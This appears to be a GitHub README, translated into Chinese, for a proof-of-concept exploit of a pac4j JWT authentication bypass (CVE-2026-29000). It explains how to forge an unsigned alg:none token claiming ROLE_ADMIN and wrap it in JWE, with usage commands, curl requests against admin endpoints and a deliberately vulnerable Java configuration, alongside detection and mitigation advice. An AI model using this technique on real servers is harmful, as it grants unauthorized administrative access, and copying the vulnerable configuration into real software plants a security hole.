c0gnit00/CVE-2026-29000
GitHub: c0gnit00/CVE-2026-29000
针对 pac4j JWT 身份验证绕过漏洞(CVE-2026-29000)的 Python PoC 利用工具,通过伪造未签名 JWT 并以 JWE 加密实现权限提升。
Stars: 1 | Forks: 0
# CVE-2026-29000: pac4j JWT 身份验证绕过 PoC
## ⚠️ 免责声明
**本工具仅供教育和授权安全测试目的使用。作者对任何滥用、损坏或非法使用此漏洞的行为概不负责。**
- 在大多数司法管辖区,未经授权访问计算机系统是**违法的**
- 用户在测试前必须获得**明确的书面授权**
- 作者对因滥用此工具而产生的任何后果**不承担责任**
- 这是一个**安全研究和教育工具** - 请合乎道德和合法地使用
## 📋 漏洞概述
此漏洞利用了 pac4j 的 JWT 身份验证机制中的一个缺陷,该库存在以下问题:
1. **接受无签名 token**,即 JWT 标头中的 `alg: "none"`
2. **信任 JWE 包装的 token**,但未正确验证内部 JWT 签名
3. **允许通过**未签名 payload 中的自定义声明**进行角色提权**
攻击者可以伪造一个包含任意声明(例如 `role: "ROLE_ADMIN"`)的未签名 JWT,使用服务器的公钥将其加密到 JWE 容器中,从而获取对管理员功能的未经授权访问。
## 🎯 成功利用的前提条件
### 服务端要求
要成功利用此漏洞,目标服务器必须满足以下**所有**条件:
#### 1. **可访问的 JWKS Endpoint**
服务器必须通过以下 endpoint 之一公开其公钥:
- `/.well-known/jwks.json`(标准 OAuth/OIDC endpoint)
- `/api/auth/jwks`(自定义 endpoint)
**原因:** 漏洞利用程序会自动获取服务器的公钥来加密伪造的 JWE token。
#### 2. **接受 JWT ROLE 声明**
服务器必须:
- 接受并处理 JWT payload 中的 `role` 声明
- 至少具有一种授予提升访问权限的特权级别(例如 `ROLE_ADMIN`)
- **未**验证 JWT 签名或允许未签名的 token
**常见角色:**
- `ROLE_ADMIN` - 完全的管理员访问权限
- `ROLE_USER` - 标准用户访问权限
- 取决于应用程序的自定义角色
#### 3. **处理 JWE Token**
服务器必须:
- 接受 JWE(加密)token 作为有效的身份验证
- 解密并处理内部的未签名 JWT
- **不**验证内部 JWT 的签名或检查算法
#### 4. **存在漏洞的 pac4j 配置**
应用程序必须使用具有以下配置的 pac4j:
- 算法设置为 `"none"` 或算法验证不足
- 启用了 JWE 加密,但禁用了内部 JWT 的签名验证
- 除了 JWE 解密之外,没有额外的 token 验证
## 🛠️ 安装
### 环境要求
- Python 3.7+
- 必需的包:`requests`, `jwcrypto`
### 安装步骤
```
# 克隆仓库
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000
# 安装依赖
pip install -r requirements.txt
```
### requirements.txt
```
requests>=2.28.0
jwcrypto>=1.4.0
```
## 🚀 用法
### 基本用法
```
python3 exploit.py
```
**示例:**
```
python3 exploit.py http://vulnerable-app.local:8080
```
脚本将会:
1. 尝试从标准 endpoint 获取 JWKS
2. 生成一个带有 `role: "ROLE_ADMIN"` 的未签名 JWT
3. 使用服务器的公钥对其进行加密
4. 输出准备好用于身份验证的 JWE token
### 高级选项
#### 自定义用户名
```
python3 exploit.py http://vulnerable-app.local:8080 --username john
```
#### 自定义角色
```
python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR
```
#### 手动提供 JWKS
如果 JWKS endpoint 不是公开可访问的,请手动提供 JWK:
```
python3 exploit.py http://vulnerable-app.local:8080 \
--jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'
```
#### 包含所有选项的完整示例
```
python3 exploit.py http://vulnerable-app.local:8080 \
--username hacker \
--role ROLE_ADMIN \
--jwk '{"keys":[{...}]}'
```
## 📤 使用生成的 Token
漏洞利用程序输出以下格式的 JWE token:
```
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...
```
### 发起经过身份验证的请求
在 HTTP 请求中使用该 token 来访问受保护的 endpoint:
```
# 使用 curl
curl -H "Authorization: Bearer " \
http://vulnerable-app.local:8080/api/admin/dashboard
# 使用 Python requests
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)
```
### 带有 Authorization 标头的请求示例
```
curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
http://vulnerable-app.local:8080/api/users/list
```
## 🔍 漏洞利用原理
### 第一步:创建未签名 JWT
```
header = {"alg": "none", "type": "JWT"}
payload = {
"sub": "admin", # Username
"role": "ROLE_ADMIN", # Privilege level
"iss": "principal-platform", # Issuer
"iat": 1234567890, # Issued at
"exp": 1234571490 # Expiration (1 hour)
}
```
创建的 JWT **没有签名**(`alg: "none"`),这通常是无效的,但会被有漏洞的服务器接受。
### 第二步:获取服务器的 JWKS
漏洞利用程序会查询:
1. `/.well-known/jwks.json`(OAuth/OIDC 标准)
2. `/api/auth/jwks`(自定义 endpoint)
这将检索加密所需的服务器 RSA 公钥。
### 第三步:将 JWT 加密为 JWE
未签名的 JWT 使用以下方式进行加密:
- **算法:** RSA-OAEP-256(非对称加密)
- **加密:** A128GCM(认证加密)
- **密钥:** 服务器的公钥(防止篡改)
这将创建一个服务器可以解密但不会验证内部签名的 JWE token。
### 第四步:使用 Token
JWE token 包含在 `Authorization` 标头中:
```
Authorization: Bearer
```
有漏洞的服务器将其解密并提取出未签名的 JWT,在不验证签名的情况下信任其中的声明。
## 🔐 漏洞利用链
```
Unsigned JWT (alg:none)
↓
Wraps in JWE (with server's public key)
↓
Server receives JWE token
↓
Server decrypts JWE
↓
Extracts inner unsigned JWT
↓
❌ Server does NOT verify signature
↓
✅ Accepts claims as valid (role: ROLE_ADMIN)
↓
Attacker has admin access!
```
## ⚠️ 检测与特征
### 服务器端存在漏洞的特征
1. **JWKS Endpoint 暴露**
- 检查 `/.well-known/jwks.json` 或 `/api/auth/jwks` 是否可公开访问
2. **JWT 验证日志**
- 查找接受 `alg: "none"` token 的日志
- 关于接受未签名 token 的警告
3. **配置审查**
- 检查 pac4j 的签名验证是否被禁用
- 验证 JWE 解密设置
### 网络特征
```
# Reconnaissance
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .
# 检查是否接受 JWE tokens
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected
```
## 🛡️ 缓解与修复措施
### 对于使用 pac4j 的开发者
1. **强制签名验证**
// 不可靠 - 接受未签名 token
JwtAuthenticator jwt = new JwtAuthenticator();
jwt.setAlgorithm(null); // ❌ 存在漏洞
// 可靠 - 要求有效签名
JwtAuthenticator jwt = new JwtAuthenticator(publicKey);
jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ 安全
2. **验证 JWT 算法**
- 永不接受 `alg: "none"`
- 将允许的算法加入白名单(例如 RS256, HS256)
- 拒绝算法不匹配的 token
3. **如果不需要,禁用 JWE**
- 如果身份验证只需要 JWT,则禁用 JWE 包装
- 如果需要 JWE,请独立验证内部 JWT 签名
4. **更新 pac4j**
- 应用安全补丁
- 更新到默认启用签名验证的版本
5. **添加 Token 验证层**
- 验证 token 过期时间(`exp` 声明)
- 验证签发者(`iss` 声明)
- 根据受信任的数据库交叉引用角色
### 对于系统管理员
1. **限制 JWKS Endpoint 访问**
location /.well-known/jwks.json {
allow 10.0.0.0/8; # 仅限内部网络
deny all;
}
2. **监控身份验证日志**
- 针对 `alg: "none"` 的 token 发出警报
- 标记来自意外来源的管理员角色分配
3. **网络隔离**
- 隔离身份验证服务器
- 将 JWKS endpoint 限制为仅授权客户端访问
4. **定期安全审计**
- 审查 pac4j 配置
- 对身份验证机制进行渗透测试
## 📊 测试环境
### 存在漏洞的设置示例
```
@Configuration
public class SecurityConfig {
@Bean
public JwtAuthenticator jwtAuthenticator() {
JwtAuthenticator authenticator = new JwtAuthenticator();
// ❌ VULNERABLE: No signature verification
authenticator.setAlgorithmsAllowedForSigning(null);
authenticator.setJwtClaimsValidation(false);
return authenticator;
}
@Bean
public JWEEncrypter encrypter() {
// Accepts JWE but doesn't verify inner JWT
return new JWEEncrypter();
}
}
```
## 📚 参考资料
- **CVE ID:** CVE-2026-29000
- **受影响的库:** pac4j (JWT 模块)
- **攻击向量:** 通过未签名 JWT + JWE 加密绕过身份验证
- **CVSS 评分:** 9.8(严重)
### 相关资源
- [pac4j GitHub 代码库](https://github.com/pac4j/pac4j)
- [JWT 最佳实践](https://tools.ietf.org/html/rfc7519)
- [OWASP JWT 速查表](https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html)
## ⚖️ 法律免责声明
此漏洞利用程序仅提供用于**教育和授权安全测试目的**。
**未经授权访问计算机系统是违法行为。** 此工具只能在以下系统上使用:
- 您拥有的系统
- 获得明确书面许可的系统
- 授权的渗透测试项目
作者不对因使用此工具而造成的误用或损坏负责。
## 📝 许可证
MIT 许可证 - 详情请参阅 LICENSE 文件
标签:逆向工具